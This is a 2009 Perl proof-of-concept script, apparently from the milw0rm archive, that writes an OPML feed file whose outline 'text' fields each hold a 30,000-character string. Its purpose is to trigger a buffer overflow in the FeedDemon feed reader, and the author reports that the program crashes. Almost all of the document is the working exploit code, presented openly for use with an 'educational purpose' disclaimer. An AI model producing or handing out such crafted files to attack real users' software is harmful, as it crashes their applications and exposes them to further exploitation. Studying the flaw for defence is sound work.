#!usr/bin/perl -w
################################################################################
# Reference:
# http://security.bkis.vn/?p=329
# https://www.securityfocus.com/bid/33630/info
#
# Tested on Windows Server 2003 with FeedMon 2.7.0.0. FeedMon crashes
# whenever I am trying to Unsubscribe from the malicious(overlylong) feed.
#
# Thanx to milw0rm, str0ke, security.bkis, @rp m@n, evilfingers
# and all security researchers.
#
#$$$$$ This was strictly written for educational purpose. Use it at
#$$$$$ your own risk. Author will not bare any responsibility for any
#$$$$$ damages watsoever.
#
#####MOST OF THE CODE I GOT FROM###############################################
#####http://search.cpan.org/~madghoul/XML-OPML-0.26/OPML.pm####################
#
# Author: Praveen Dar$hanam
# Visit:
# http://www.darshanams.blogspot.com/
# http://www.evilfingers.com/
################################################################################
use XML::OPML;
print "OPML is working fine\n\n";
my $opml = new XML::OPML(version => "1.1");
$opml->head(
title => 'FeedDemon \'outline\' Tag Buffer Overflow Vulnerability PoC',
dateCreated => 'Thur, 05 Feb 2009 8.55:35:00 IST',
ownerName => 'Praveen Darshanam',
ownerEmail => 'praveen_recker@sify.com',
expansionState => '',
vertScrollState => '',
windowTop => '',
windowLeft => '',
windowBottom => '',
windowRight => '',
);
$buff="D" x 30000;
# Malicious buffer which creates overly long text tag
$opml->add_outline(
description => 'Warren Ellis\' Personal Weblog',
title => 'Warren Ellis Speaks Clever',
text => $buff,
type => 'rss',
version => 'RSS',
htmlUrl => 'http://www.diepunyhumans.com ',
xmlUrl => 'http://www.diepunyhumans.com/index.rdf ',
);
$opml->add_outline(
descriptions => 'The raelity bytes weblog.',
title => 'raelity bytes',
text => $buff,
type => 'rss',
version => 'RSS',
htmlUrl => 'http://www.raelity.org ',
xmlUrl => 'http://www.raelity.org/index.rss10 ',
);
$opml->save('malicious_files.opml');
# milw0rm.com [2009-02-05]